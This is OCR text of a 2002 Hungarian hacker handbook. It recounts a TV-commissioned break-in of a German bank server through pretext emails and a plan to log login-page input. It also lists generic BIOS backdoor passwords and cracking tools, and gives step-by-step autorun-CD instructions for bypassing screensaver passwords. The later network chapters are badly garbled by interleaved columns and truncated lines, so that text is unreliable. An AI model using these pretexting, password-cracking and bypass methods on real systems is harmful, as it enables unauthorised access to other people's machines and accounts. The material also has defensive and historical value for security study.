Professional Documents
Culture Documents
Thomas Vosseberg - Hacker Kézikönyv (2002, 115 Oldal) PDF
Thomas Vosseberg - Hacker Kézikönyv (2002, 115 Oldal) PDF
1 A bank-hackelés
Rövid ideig az érdeklődés középpontjába került egy különös támadás egy németországi
bankszerver ellen, amelyről ebben a fejezetben írunk. A támadás visszhangja a könyv szerzőjére
nézve mindenképpen pozitív volt, csak a bank jött ki rosszul az ügyből. Az érintett intézmény a
„betörés" hatására ugyan változtatott online banking rendszerén, így a támadás ennek a könyvnek
a megjelenésekor már nem ismételhető meg, ám mivel a potenciálisan fenyegető károk még most
is jelentősek lehetnek, a bank nevét a szerzők - jogi megfontolásokból - letakarták.
1.1 A feladat
2001 júniusában érdekes feladatot kapott egy fiatal hacker-csoport: banki rendszereket és
elektronikus kártyákat kellett tesztelniük, s az ARD Technikai Tanácsadó műsor keretében kellett
ellenőrizni, mennyire biztonságos manapság az online banki ügyintézés Németországban.
A biztonság kérdését kétféleképpen lehetett megközelíteni: « Mennyire védettek az ügyfelek
adatai, vannak-e lehetőségek betörni egy banki szerverbe?
• Mennyire biztonságosak a tranzakciók, amelyeket a homebanking során végrehajtanak? Van-e
lehetőség, adatokat lekérdezni, manipulálni, átirányítani stb.?
1.1.1 Feltételek
A feladat természetesen bizonyos feltételekhez volt kötve. Ezek közé tartoztak:
« Egyeden ügyfelet sem érhet kár. Ez azt jelentette, hogy egyetlen tranzakciót sem lehetett úgy
manipulálni vagy hamisítani, hogy az végrehajthatatlanná váljon.
• A bank online rendszerét nem lehetett sem zavarni, sem korlátozni a működésében.
• Mindennek észrevétlenül kellett történnie, nehogy az érintett bank az adás sugárzása előtt
ideiglenes intézkedéseket tegyen, hogy megakadályozza a hiányosság nyilvánosságra kerülését.
1.1.2 A megoldáshoz vezető út
A dolog a következőképpen zajlott:
1. Meg kellett találni a hozzáférési utat az adatokhoz vagy a szerverhez.
2. Be kellett törni a rendszerbe, és fel kellett deríteni a manipulációs lehetőségeket.
3. Ki kellett kémlelni az adatokat.
4. Manipulálni kellett a tranzakciókat.
Két lehetséges indítás jutott a csoport eszébe:
• Az intézmény webszerverének a megtámadása;
• Trójai elhelyezése a homebanking-ügyfeleknél, és ezt követően a banki szerver megtámadása a
kikémlelt ügyféladatokkal.
Az egyszerűbb természetesen a régi jó trójaihoz való visszanyúlás lett volna: néhány PC-t
kikémlelni, majd a megfelelő pillanatban, amikor az ügyfél online intézi banki ügyeit, lecsapni.
Néhány terepkísérlet után azonban ez a lehetőség a hajánál előrángatottnak tűnt. Ügyfeleket kell
találni, át kell játszani nekik egy trójai vírust, installálni kell a trójait stb. Ráadásul egy ilyen
indítást állandóan felügyelni is kell, hiszen a kikémlelés után várni kell az első homebanking
tranzakcióra. S ha egy ilyen akció kitudódna, annak olyan sajtóviszhangja lenne, hogy aligha
lehetne végrehajtani a tulajdonképpeni tesztet.
A megfelelő lehetőséget tehát csak egy pénzintézet webszerverének a feltörése jelenthette. Ez
természetesen heves vitákat váltott ki, nem utolsósorban a (német) Btk. 202. és 263. §-aira való
tekintettel. Végülis arra a döntésre jutottak, hogy egyszer azért megpróbálkoznak vele, hiszen talán
csak kisebb hiányosságokra bukkannak, amelyeket nyugodtan fel lehet mutatni. Természetesen egyik
résztvevőnek sem volt pontos koncepciója, és azt sem tudták, hogyan is néznek ki pontosan a banki
rendszerek. Először tehát információkat kellett gyűjteniük.
1.2 Hozzáférési út - információszerzés a Social Engineering
módszerrel
Mindenekelőtt személyes kapcsolatokon keresztül próbáltak információkat szerezni a bankszerverről.
Azonban a saját ügyféltanácsadót kérdezgetni bankja szerverének részleteiről nem túl szerencsés,
hiszen többnyire maga sem tud róla semmit, vagy pedig gyanút fog. Más megoldást kellett tehát
találni.
Először tájékozódni kellett a banki struktúráról. Több banknak e-mailt írtak, amelyben ügyfélnek
adták ki magunkat, aki hallott egy másik bank webszerverét ért hackertámadásról, és most tudni
akarja a saját bankjáról, hogy valójában mennyire van biztonságban ennek az intézménynek a pénze,
illetve védett-e az online banki szolgáltatása.
A mailt úgy kellett megírni, hogy a felépítése miatt ne tudjanak egy szabvány ügyfélszolgálati
szöveggel válaszolni rá. Éppen ezért hálózattech-nikailag jártasnak mutatták magunkat, és végezetül
szenvtelenül megkérdezték, hogyan is védi a bank az online ügymenetet és az ügyfelek adatait. Ezt a
mailt elküldték 10 nagy német pénzintézetnek, amelyek online portált működtetnek.
Körülbelül 5 nap és 9 „Aggodalomra semmi ok, a pénze sehol sincs nagyobb biztonságban, mint
nálunk. Az ÖN XY bankja." típusú szabványmail után, a szerzőket is meglepve, az alábbi mail
érkezett.
1. Az infrastruktúra
Az XY bank online banki rendszerének infrastruktúrája a következők szerint van kiépítve:
Valamennyi online banking megkeresés egy Cisco routeren keresztül érkezik, amely csak a 443-as
portot (HTTPS-kódolású adatátvitel
SSL-lel) bocsátja rendelkezésre, és csak az exkluzíván az online banki rendszer elé kapcsolt plug-
gateway-en, integrált tűzfallal, enged át kéréseket, Így az ügyfelek banki adatainak az átvitele az
online banking oldal betöltésétől kezdve biztonságos és kódolt.
A Cisco router mögött még egy exkluzíván az XY bank számára installált, Intrusion Detection System
is található, amely naplózza, jelzi és vissza is veri a rendszer elleni támadásokat.
A plug-gateway, amely a Cisco router és a bank szervere között található, a következő feladatokat
látja el:
Az internetkapcsolat és a webszerverhez kapcsolódás fizikai szétválasztása: egy külső rendszertől
induló kapcsolat felépítésénél átveszi a kapcsolatot, és az internetről jövő kapcsolattól fizikailag
elválasztott kapcsolatot állít elő a webszerverhez úgy, hogy semmilyen visszacsatolás nem lehetséges
kívülről a külső rendszerre.
A plug-gateway tűzfala minden csomagot analizál, és csak a szűrőszabályok (csak HTTPS elérések
engedélyezettek) teljesülése esetén továbbítja az online banki rendszer webszerverére. Továbbá az
adatbázis szerver fizikailag el van választva a webszervertől és az alkalmazástól, így az adatbázist
egyáltalán nem lehet közvetlenül elérni az internetről.
2. Biztonság
Az infrastruktúra (hardver és rendszerszoftver szinten) megfelelő védettsége érdekében még a
következő biztonsági intézkedéseket tettük az online banki ügyintézésnél:
A kliens és a szerver közötti kapcsolat 128 bites maximális kódolással épül fel. Ez a szabvány az
internetes tranzakcióknál biztonságos.
A PIN-ek kódolva vannak tárolva az adatbázisban, és semmilyen visszacsatolást nem engednek meg a
valójában felhasznált PIN-re.
3. Az adminisztrátor 2001.06. havi biztonsági analízise
A rendszeradminisztrátor 2001. 06. hóban maga hajtott végre szkennelést a nyitott internetfellépés és
a bank online rendszere ellen. Mint várható, az online banki rendszer csak HTTPS-en keresztül (443.
port) a 128 bites kódolású, biztonságos internet-eléréssel érhető el. A kísérlet, hogy további
információkat tudjunk meg a rendszerről (hardver, operációs rendszer, szerver stb.), nem sikerült.
Ez egy jól sikerült példa volt a Social Engineeringre, arra a módszerre amelynek révén részletes
bepillantást nyerhettek a banki webszerver biztonsági intézkedéseibe.
A részletes információk szkennelése - finommunkák
Ami a mail-bői nem derült ki, azonban néhány szkennelés (közelebbit ld. később) eredményeként már
világos volt: minden bank különböző pénzügyi szoftvereket használ, például az OFX-et (Open
Financial Exchange). Ezek gondoskodnak a számlaszámok és a PIN-ek belépő ellenőrzéséről, és
kezelik a további ügyfélinformációkat. Miután ezekről a szerver-kliens szoftverekről csak szűkös
információkat találtak, világossá vált a számukra, hogy csak egy bank login oldaláról juthatnak hozzá
az ügyfelek adataihoz. Még ha lehetséges is lenne adatokhoz jutni az OFX-adatbázisból, továbbra is
tisztázatlan, hogy nincsenek-e esetleg kódolva ezek stb.
1.3 A megfelelő cél keresése
Az ötlet tehát az volt, hogy keresnek egy nagyobb bankot, amelynek a szervere közvetlenül
csatlakozik az online banking-hez, és ott úgy változtatják meg a login-oldalakat, hogy minden bevitel
egy log-fájlba vándoroljon. A kérdés csak az volt, melyik bank legyen az?
1.3.1. Takarékpénztárak - túl sok szerverellenőrzés
A német takarékpénztárak az infrastruktúrára vetett rövid pillantás után kiestek. Az volt ugyanis a
probléma velük, hogy ugyan majdnem minden takarékszövetkezetnek van saját weboldala, ám az
onlinebanking egy számítógépközponton keresztül zajlik. Itt van példának a www.ostspa.de. Ennek
az oldalnak a szervere Schwerinben van, de a tulajdonképpeni oldal, ahol az ügyfelek a számlájukhoz
férnek, a következő cím alatt fut: https://ww2.hotnebanking-mecklenburg-
vorp.de/cgi/anfang.cgi/Ost-
seespk_Rostock, miközben ez a szerver a DVG-nél, Hannoverben található. Egy támadás itt egy
kicsit melegnek tűnt, mert például Hannoverben majdnem minden takarékpénztárat Észak-
Németországból hostolnak, és ki lehetett indulni abból, hogy az adminek „a gépen ülnek", és már egy
tesztcélú szkennelés is figyelmet keltene.
1.3.2 Kutatás: US-szerver kerestetik
így tehát inkább a nagyobb bankokra kellett összpontosítani. Mivel a keresett formátumból
tulajdonképpen nem sok volt, azzal kezdhettek, hogy minden egyes bankot megvizsgáltak. A
hackeléshez tulajdonképpen csak egy Microsoft HS-szerver jöhetett szóba. Szkenneltek néhány
bankot, hogy lássák a szervereiket.
Részletek a szerverekről
Itt láthatók az infók a felhasznált szerverekről
1.6 Sajtóbeszámolók
A bank-hackelés világszerte nagy visszhangot keltett. Számtalan újság és rádióállomás számolt be az
akcióról. Ebben az összefüggésben újra és újra előkerült a biztonság kérdése, íme két érdekes
vélemény.
A www.newsbytes.com és a www.washingtonpost.com tudósításai
Német tv-s hackerek bankszervert törtek fel per van kilátásban
Ned Stafford, Newsbytes MÜNCHEN, NÉMETORSZÁG 2001. szept. 17., du. 4:51
••••, Németország egyik legnagyobb bankja, a bank szóvivője szerint jogi lépéseket tervez egy
népszerű fogyasztói high-tech tv-show ellen, amely hackereket szerződtetett, hogy feltörjék a bank
online banking szerverét.
Cornelia Klaila, a ••• müncheni szóvivője, ezt nyilatkozta a Newsbytes-nak: „Amit tettek, az
törvénytelen. Nagyon törvénytelen.
Az „ők", akikre utalt, a Technikai Tanácsadó nevű tv-show, amelyet az ARD, Németország két
közszolgálati tévéhálózatának egyike gyárt. A Technikai Tanácsadó augusztusban felfogadott néhány
fiatalembert, hogy betörjenek a ••• online banki szerverébe, és információkat töltsenek le az ügyfelek
számláiról. Az információk neveket, számlaszámokat, PIN-számokat és internetes IP-számokat
tartalmaztak, amelyek fontosak a biztonságos online banki szolgáltatáshoz. A sztorit vasárnap este
közvetítették.
Bernd Leptihn, a Technikai Tanácsadó (Ratgeber Technik) hírszerkesztő csoportjának hamburgi
vezetője azt nyilatkozta a Newsbytes-nak, hogy nem aggódik a ••• perindítása miatt.
Leptihn, aki 27 éve a Technical Adviser frontembere, de most a kamera mögött dolgozik, így
ékelődött: „Tudják, én 30 éve csinálok törvénytelen dolgokat. Voltak pereim ezelőtt is, de mostanáig
soha nem vesztettem el egyetlen ügyet sem."
Azt mondta, hogy az ARD jogi részlege szerint az ilyesfajta oknyo-mozó újságírást megengedi a
német jog, ha az „a köz érdekét szolgálja". Leptihn szerint, aki amúgy jól ismert személyiség
Németországban, a nyilvánosság informálása a ••• számítógépének hiányosságairól nagyon is a köz
érdekében történt.
„A (bankszámla) információkkal, amelyeknek a birtokába jutottunk, most akárhol is lehetnénk a
világban, millió és millió euró birtokában" mondta.
Leptihn arra is utalt, hogy a kutatás megmutatta, hogy a ••• banknál bizony van néhány nagy
biztonsági rés. A bank a Microsoft Internet Information Serverét (IIS 4.0) használta.
A Technikai Tanácsadó megbízott egy négytagú hackercsapatot. Azt nem árulta el, hogy mennyit
fizettek nekik, de ez „nem volt sok". A fiatal hackerek inkább abban voltak érdekeltek, hogy
publicitást nyerjenek induló internetes biztonsági tanácsadó cégüknek - mondta.
Négyük közül az egyik Stephan Weide, 22 évesen a Multimedia Network Systems cég ügyvezetője
Leinefeldében.
Weide azt nyilatkozta a Newsbytes-nak, hogy a betörés a ••• számítógépébe csak két-három napot
vett igénybe, és „igazán nem volt gond, bárki meg tudta volna tenni."
Miután a Technikai Tanácsadó vasárnap éjszaka a tévében megszellőztette az ügyet, Weide azt
mondta, hogy ő és a csapata részt vettek egy telekonferenciás hívásban a ••• technikai
személyzetével, hogy megmondják nekik, hogyan tudják befoltozni a réseket.
Mikor megkérdeztük, hogy a technikaiak hangot adtak-e haragjuknak a hackelés miatt, azt
mondta: „Nem mondtak csúnya szavakat. Azt hiszem, féltek, hogy elveszítik az állásukat."
Weide és Leptihn elmondták, hogy a ••• online banking oldala vasárnap késő éjjeltől kezdve úgy
hat órára leállt.
Klaila, a bank szóvivője, ezt nyomatékosan kétségbe vonta, s azt állította, hogy a weboldalt a
szokásos rendszeres karbantartás és nem a biztonsági rések kijavítása miatt állították le.
Azt is jelezte, hogy a ••• bank ezen a nyáron egy új online weboldalt helyezett üzembe, és hogy
ez az oldal state-of-the-art rendszer, ami biztonságos. Augusztus hónap folyamán - mint mondta -
mindkét oldal, a régi és az új is online-ban voltak, és a hackerek a régi weboldalra, és nem az újra
törtek be. A régi weboldalt szeptember elején offline-ba helyezték.
Leptihn viszont vitatta, hogy az új oldal az utolsó éjszaka előtt biztonságos lett volna.
„A hackereink ismét próbálkoztak az új site-on, és sikerrel jártak" -állította.
Klaila azt mondta, hogy bűntetőjogi és polgári peres kártérítési per is lehetséges a Technikai
Tanácsadó ellen.
„Még el kell döntenünk, mit is akarunk tenni." - vélekedett.
A zdnet.de News tudósítása
ARD: Online banki szolgáltatásbeli hiányosságokat lepleztek le
PIN-eket és TAN-eket olvastak ki bekapcsolt kamera előtt. 2001. szeptember 17., 08:46 óra
Thüringiai hackerek a Ratgeber: Technik ARD-magazin megbízásából, működő kamera előtt
törték fel a ••• biztonsági mechanizmusait, így a szerkesztőknek és a szakértőknek a műsor adatai
szerint lehetővé vált néhány napon belül 1,5 millió online könyvelési akciót megszerezni,
beleértve titkos kódokat (PIN), az online-számokat (TAN) és az IP-címeket.
Ahogy az ARD a továbbiakban közölte, a hackereknek dispo-kredit adatokat is sikerült elérniük,
s így, a számlákat a kimerítésig terhelhették volna. Behatolásuk bizonyítására a betolakodók
csupán egy 100 márkás könyvelésre „korlátozták magukat".
A tévéadó komputeres szakemberei ismételten óvtak a trójaiktól, amelyek értelmetlenné teszik a
pénzintézet kódolási eljárását. Még egy laptoppal és egy adatátvitelre alkalmas mobiltelefonnnal
is gond nélkül lehet jogosulatlanul pénzt átutalni.
Miután a magazin figyelmeztette a •••-t központi számítógépének a hiányosságaira, egy új log-in
redszert vezettek be. Az adó által felfogadott hackerek azonban ebben az átdolgozott programban
is találtak réseket. A Ratgeber szerkesztősége szerint azért a •••.t választották, mert ez a bank
különösen „lukacsosnak" bizonyult a jogosulatlan hozzáférésekkel szemben. De elvileg sok más
banknál és takarékpénztárnál is lehetséges lenne egy virtuális betörés.
1.7 Tapaszatalatok más bankoknál
Nem csak a ••• nincs felvértezve a támadások ellen, más bankoknál is csak félig-meddig
sikeresek a szerverük védelmére irányuló intézkedések.
1.7.1 Forgatókönyv a takarékpénztár-területen
2001 októberében a szerző újabb megkeresést kapott valakitől, aki a különböző bankok
visszásságainak a feltárására tararékpénztárak biztonsági auditjával bízta meg. A
tapasztalatokból, amelyeket az előző akciókból gyűjtöttek, a következő terv született.
Nyíltszívűen - a kleinmusterhauseni takarékpénztár
Ennek a tararékpénztárnak olyan az internetes megoldása, mint a legtöbbnek Németoszágban: két
részből áll.
Van a nyilvános rész, amelyben az ügyfél az illető tararékpénztárról információt szerezhet, és
amelyen keresztül egy linkkel a folyószámlájához jut. Ez általában egészen egyszerű felépítésű.
Többnyire egy helyben lévő vagy szolgáltatón keresztül kezelt szerverről van szó, amely csak nagyon
egyszerűen védett, és a rendszergazda is szívesen elhanyagolja. Ezen a webszerveren gyakran tisztán
reprezentatív célokból futnak olyan alkalmazások, amelyek nagyon támadhatóvá teszik a szervert.
A második terület a tulajdonképpeni e-banking. Ezt a takarékpénztáraknál gyakran számítóközpontok
kezelik. A szerverek többnyire jól védettek, és ki lehet indulni abból, hogy egy támadás ez ellen a
számítógép ellen semmiféle sikerrel sem járna.
Míg a Windows 95/98/ME fejlesztésénél a Microsoft a felhasználóbarátság 2.1.1 Különbségek a Windows 9x,
kedvéért elhanyagolta a biztonságot, a professzionális területre készült termé- az NT és utódai között
kek (Windows NT 4.0 és Windows 2000) tervezésénél sokkal tudatosabban
koncentrált erre a témára. A hackereket egyenesen csalogatják a gyenge pon- A különböző operációs rendszerek közötti alapvető különbség, ami igazán
tok, hogy behatoljanak a rendszerekbe. Ráadásul a felhasználói operációs csak most, az XP-vel fog megszűnni: az eddigi Windows 9x vonal csak korlátozott
rendszerek gazdái is nagyon megkönnyítik a támadók dolgát. A Windows védelmet (BIOS-jelszó) kínál a jogosulatlan felhasználás ellen. Az NT vagy a
95/98/ME felhasználóinak (és valószínűleg azok nagy részének is, akik a Win- Windows 2000-es gépeknél ott van még a jelszavas bejelentkezés, mint köztes
dows XP Home Editionnel fognak dolgozni) többnyire csak csekély ismeretei fokozat, amely növeli a biztonságot. Emellett az NT-nél és a Windows 2000-nél
vannak a biztonságról, és azokról a veszélyekről, amelyeknek az adataikat ki- az adatokat már eleve zárolni lehet, ami a 9x-nél kiegészítő szoftvertől függ.
teszik. A Windows 95/98/ME-t érő támadásoknak két fajtáját kell megkülönböz-
Mivel az adataink nem csak az internetes szörfözés közben vannak veszély- tetni. Az egyik a fizikai támadás, amit olyan valaki hajt végre, akinek közvetlen
ben, ez a fejezet az adatbiztonság egészével foglalkozik, ami a BlOS-jelszónál elérése van a rendszerre, a másik a távoli elérésű támadás, amelyet az internetről
kezdődik. indítanak.
azonban figyelni kell az amerikai billentyűzetkiosztásra. AMIDECOD AMI Danny Soft www.hackerzbook.de
Award Modular Bios Award The Immortal www.hackerzbook.de
Gyártó: Award Gyártó: AMI Gyártó: Phoenix Altalános jelszavak crack tool
BIOSSTAR PASSWORD PHOENIX aLLy CrackAmiBios 1.1 AMI Ismeretlen www.hackerzbook.de
BIOSTAR Ami phoenix Wodj Password általános Oren Levy - Dynam ic www.hackerzbook.de
ALFAROME A.M.I. CMOS SZYX Password (C)alculator AWARD FalCoN 'N' AleX www.hackerzbook.de
q_127&z AMI?PW BIOS Syxz for AWARD BIOS
J64 AMI?SW Sxyz
Programok a jelszó kiderítéséhez a memóriából
J262 AMI_SW SKY_FOX
J256 AMI setup
j262 SER A CMOS szoftverének törlése
j256 LKWPETER Ha a hacker nem talál általános jelszót vagy megfelelő segédprogramot,
AWARD_SW Ikwpeter nem marad más hátra, mint törölni a BIOS-t, és azzal együtt a jelszót is. Azt
589589 HLT
persze figyelembe kell vennie, hogy ilyenkor a rendszerbeállítások is elvesznek.
AWARD_PW CONDO A BIOS törléséhez megint csak segédprogramokat használnak a „betörők",
AWARD_PS awkward ezek közül az egyik legismertebb a KiLLCMOS32. Ez a segédprogram minden
AWARD?SW BIOSTAR beállítást töröl, és minden BIOS-verzióhoz használható. Mindenesetre a rend-
AWARD SW
szernek már futnia kell a használatához.
AWARD
589721 A KiLLCMOS32 minden
BlOS-beállitást megbíz-
Általános BlOS-jelszavak hatóan töröl
2.1.3 Képernyővédő-jelszó-
a bennfenteseknek nem okoz problémát
Ez ellen a támadás ellen csak a Windows 95 Windows 98/ME-re frissítése Van néhány program, amelyeket az automatikus lejátszás funkcióval, a jel-
nyújt védelmet. A képernyőkímélő-jelszó elkerülésének ilyen kísérletei az szómegadást kikerülendő, fel lehet másolni. Ezeknek a programoknak egyike a
NT/2000-nél is hatástalanok. Clean Screen. Íme, a használati utasítás, amellyel szükség esetén magunkat is ki-
A későbbiekből az is ki fog derülni, hogyan is lehet feltörni az ilyen jelszót, szabadíthatjuk (az előkészületeket azonban előre meg kell megtenni, nehogy túl
mert a jelszavas védelem is csak korlátozott mértékben nyújt biztonságot. A jel- késő legyen):
szó megfejtése a megfelelő szoftvereszközzel igazán egyszerű, jobb, ha tudjuk,
1. Letölteni (www.hakerzbook.de) és kicsomagolni a ZIP fájlt!
hogy mennyire az. így persze rögtön magunkon is segíthetünk, ha elfelejtettük
a saját jelszavunkat. 2. Az EXE fájlt és az autostart-ini-t CD-re írni. A két fájlnak a könyvtárfán
egészen felül kell lennie, tehát ne valamilyen alkönyvtárba másoljuk.
3. Ha a CD-írás elkészült, akkor egyszerűen próbáljuk ki egyszer a saját PC-
2.1.4 Automatikus lejátszás - nken.
a betörés előkészítése CD-vel 4. Képernyőkímélő-jelszó beállítása, majd várakozás, míg a képernyőkímélő
elindul.
A PC-t a BIOS-szal, a képernyőkímélőt jelszóval zároltuk, és talán még a
jelszót is úgy választottuk meg, hogy az betűk és számok kombinációjából áll- 5. Tegyük az újonnan megírt CD-t a meghajtóba, és várjunk, amíg a PC
jon - most aztán a PC-nk szünetben is bevehetetlen, vagy lehet, hogy mégsem? hangszórója sípolni kezd. Ha nincs bekötve, egyszerűen várjuk ki, míg a
A következőkből kiderül, hogy milyen eszközöket vethet be ebédszünetben egy CD-ROM-meghajtó leáll.
potenciális hacker, hogy minden igyekezetünk ellenére hozzáférjen az adata- 6. Ezután már csak írjuk be a jelszó lekérdezésére az 123-at, és a képernyő-
inkhoz. kímélőnek el kell tűnnie!
A képernyőkímélő jelszó kikódolása
7. Ezután a program kiírja a régi jelszót, és a Régi érték beállítása paranccsal
vissza lehet állni rá. Ha ezt nem tesszük meg, aktuális jelszóként a 123-at A képernyőkímélő jelszót a Windows 95/98/ME alapértelmezésként a
tárolja. HKEY\USERS\.Default\Control Panel\Sreen_Save_Data Registry-kulcsban tá-
rolja. A kódolása nagyon egyszerű, és számos programmal feltörhető.
A képernyőkímélő-jelszó A legtöbb programnak az a hátránya, hogy csak akkor működik, ha a képer-
megszerzése autoplay
CD-vel nyőkímélő még nem aktív (hogy mit tehetünk, ha már az, azt már tudjuk).
Jelszófeltörő program
működés közben
A szkennelés eredménye
A PQwaknak egyszerűen meg kell adni annak a számítógépnek az IP-jét, 2.4 További támadási technikák
amelynek a jelszavait fel kell törnie. A PQwak minden karaktert és különleges ka-
raktert felismer, így azután a legrövidebb idő alatt szinte minden jelszót fel lehet A bemutatott biztonsági réseken kívül, amelyek az operációs rendszer fel-
vele törni. A PQwak l .0-s verziója nincs túl gondosan programozva, sok különle- építésében gyökereznek, természetesen vannak még más támadási lehetőségek
ges karakter hiányzik, és aki sikert akar elérni, annak gyakran kell újraindítania. is, amelyeket most csak bemutatunk.
3.2. A TCP/IP
3.2.1 Mi a TCP/IP?
3.2.2 Különböző protokollok a rétegekben
3.3 Néhány alkalmazás és protokoll használata és a biztonságosságuk .
3.3.1 A Telnet
3.3.2 Az FTP
3.3.3. Az IRC
3.3.4 Az IP-címzés
3.4 A portokról
don szörfözünk a neten. Hogy ezeknek a részleteknek a nyilvános
ok hogyan akadályozhatjuk meg, arról természetesen szintén itt olvas
rotokoll-család a háló minden szolgáltatását elvégzi, ide tartozik Az adatok a számítógépből kifelé tartva az ábrázolt sorrendb
ldése, az adatok átvitele, hozzáférés a World Wide Webhez és az resztül ezeken a rétegeken, és fordított sorrendben mennek bef
tása a usenet-en keresztül. szerbe. Minden réteg tud adatokat küldeni a szomszédos rét
adatokat fogadni attól. Valamennyi réteg protokollokkal van öss
lyek különböző szolgáltatásokat nyújtanak.
önböző protokollok a rétegekben
Parancs Leírás
Chown Megváltoztatja a tulajdonost és a csoportot, amelyhez eg
lán valamivel érthetőbb, hogyan történik a protokollhalmon ke-
és/vagy egy fájl tartozik. joe Egy egyszerű szövegszerkesztő.
ok küldése, illetve fogadása. Most megnézzük egy kicsit köze-
böző rétegek legfontosabb protokolljait.
A legfontosabb Telnet-parancsok
si réteg
FTP
g, amelyben a felhasználó közvetlenül egy alkalmazásba írhatja
t, hogy kapcsolatot nyisson egy számítógéppel, vagy megfelelő A Fik Transfer Protocol egy szolgáltatás, amely minden operá
jon ki. Fordított értelemben tehát az alkalmazási réteg az a réteg belül lehetővé teszi az adatok átvitelét és azoknak a mindenkori
gy alkalmazás az A számítógépen a B számítógéptől is megkap- ban mentését. Mint tudjuk, a legtöbb operációs rendszer különb
ait. Ebben a rétegben egész sereg protokoll van, és ezeket felül- tumokat használ. A Unix és a Unix-klónok gyakran NFS-t
árolja semmi. Bizonyos alkalmazások itt más alkalmazásokra is System) használnak, az OS/2 általában HPFS-t (High Performance
en például a HP egy SNMP-re épülő programja, az OpenView. DOS/Windows pedig kizárólag FAT-et (File Allocation Table) v
nézzük ennek a rétegnek az alkalmazásait! Windows 2000 és az XP ezenkívül még az NTFS-t is segítség
FTP-n keresztüli kommunikáció, akárcsak a Telnet, a kliens-sz
épül, de valamivel komplexebb. Ebbe nem akarunk részletesebb
azonban a következő pontokat megemlítjük:
k elején még nem voltak igazi hálózatok. Voltak viszont nagygé-
A kommunikáció öt fázisra osztható:
e terminálokat csatlakoztattak. Egy terminál akkoriban csak ká-
ztül tudott adatot cserélni a nagygéppel, a további terminálokkal Fázis Leírás
án nem kommunikálhatott. Hogy egy újabb kábelrengeteg létesí- 1. fázis: A kliens kérdést küld a számítógépnek, hogy a szolgáltatás
, szoftveres megoldásra volt szükség. Így jött létre a Telnet, amely Kapcsolatfelépítés zésre áll-e, az pedig megerősítést küld, hitelesíti a felhas
a felhasználóknak, hogy úgy tudjanak adatokat szerkeszteni stb., jelszót, és átküldi az átviteli opciókat és a fájlnev(ek)et. 2. fázis: Ki
ülnének a másik gép shell-je (DOS promptja) előtt. A felhaszná- portra vonatkozó információkat, és előkészítik a tulajdon-Adatátviteli kap-
zvetlenül az alkalmazásnak kiadott paranccsal nyitott meg egy adatátvitelt. Miután ezt rögzítették, elkezdődhet a tulajdon-csolat létesítése
legfontosabb Telnet-parancsokat az alábbi táblázat tartalmazza. adatátvitel. 3. fázis: Az adatátvitel az FTP-n keresztül történik, a
formában, aho-Adatátvitel gyan azt már leírtuk. 4. fázis:
Leírás átadja a teljes állomány utolsó adatait, a kliens vissza-Az átvitel végének iga
A paraméterként megadott könyvtárra vált. cd ~ Az aktuálisan ezeknek a fájloknak a fogadását. Most a szervergép Close bevezetése
er home-könyvtárára vált. Mkdir New Létrehozza a New nevű küld a kliensnek, amely veszi a parancsot, és elfogadja. 5. fázis:
r New Törli a New néven létrehozott könyvtárat. Is -l adateljárás mutatja a kontrolleljárásának (21. port) az átvi-Az átvitel
ktuális könyvtárban található összes fájlt. chmod Megváltoztatja bezárul. A kliens-adateljárás szintén terminál, a kontroli-lezárása elj
okat a fájlokhoz és/vagy könyvtárakhoz. azonban aktívan hagyja a további átvitelekhez.
k Transfer Protocol nem a TCP-re épül, mint az előbb tárgyalt • A szerver azonosítja magát.
UDP-re (User Datagram Protocol). Bár ez is adatok átvitelét • A kliens átadja a tulajdoképpeni parancsot, amely mail-k
m a végfelhasználó számára készült, mivel a kapcsolat biztosítat-
be. • A szerver a beleegyezését adja.
z átviteleknél nincsen jelszólekérdezés, csak a forrás-IP marad
delkezésre álljon a szükséges tartomány. A legfontosabb paran- • A kliens átküldi a címzettet.
t, a mode, a get, a put, a verbose és a quit.
• A szerver válaszol: a postafiók elérhető.
néhány szó arról, hogyan is folyik itt az adatátvitel. A TFTP
ens-szerver elvre épül. A kliens egy kérést küld a szervernek, az • A kliens inicializálja az adatátvitelt.
megkezdődik az adatátvitel. Minden adatrekord 512 bájtos, és a
• A szerver felveszi az adatokat, és a befejezéshez kéri a <crlf>
zza. A kliens akkor tételezi fel automatikusan az átvitel végét, ha
csot.
rd 512 bájtnál rövidebb.
• A kliens az átvitel befejezése után, ahogy megállapod
<crlf><crlf> -et.
• A kliens a megfelelő paranccsal befejezi a kapcsolatot.
ocol is az UDP-re (Use Datagram Protocol) épül, és tulajdonképpen
ztették, hogy boot-folyamatokat aktiváljon. Erre csak ott van • A szerver erre service closing-gal felel.
as években más mail-rendszereket is bevezettek, kompatibilitási Transzport réteg
ek fel. Az átmenetekkel nem volt könnyű megbirkózni, így na- A transzport rétegnek a következő feladatokat kell ellátnia:
yes konvertereket kellett alkalmazni. 1992 óta nagyjából csak a
purpose Internet Mail Extensions) használják, amely már nem • Lehetővé tenni az adatátvitelt dedikált transzportkapcsolato
ak a tiszta szövegküldésre, hanem a legkülönbözőbb adattípuso- • A kapcsolatokat ellenőrzötten kell felépíteni és bezárni.
ka, audió stb. is át lehet küldeni vele.
Multiplexing: egy kommunikációs csatorna felépítése, am
egyidejű átvitelére lehet használni.
• Ellenőrzés, hibafelismerés és folyamatvezérlés a kapcsolat a
rocedure Calls-t akkor használják, ha több különböző kapacitású szá-
delkezésre, és olyan feladatot kell elvégezni, amely nagyon nagy • Optimalizált adatfolyam - Windowing-nak is nevezik.
ásokat igényelne. Az RPC-vel a részfeladatokat specifikusan az • Az adatfolyamok priorizálása, vagyis az adatfolyam prioritá
kvalifikált számítógéphez lehet rendelni, így a különböző számító- küldése.
tni, egy multikomputerré olvadnak össze. Ez az eljárás egyébként A transzport rétegben két protokoll található, a már említ
yre nagyobb figyelmet vívott ki magának a nagyvállalatoknál és a UDP (User Datagram Protocol).
nél. A pontosabb felépítésébe itt nem megyünk bele.
ecksum: az IP-header ellenőrzőszáma. Mivel a TTL-érték (Time Reverse Address Resolution Protocol (RARP)
tleg a flag és a flag offset értékei is minden routernél változnak,
lően kell alakítani az ellenőrzőszámot. Ezáltal teljesül a 1 6 bites A RARP az ARP-vel ellenkező irányban működik. Ahelyett,
ás. A felesleges késleltetések elkerülése érdekében a header el- címből állítaná elő a fizikait, a host egy RARP-kérést küld a f
a korlátozódik. amire azután a RARP-szerverek a hálózatban átnézik a saját refe
ress: a forrásállomás internetcíme. Itt van feljegyezve a küldő szá- taikat, és egy RARP-választ küldenek vissza, amely tartalmazza
me. Ezt a módszert tulajdonképpen csak olyan számítógépeknél ha
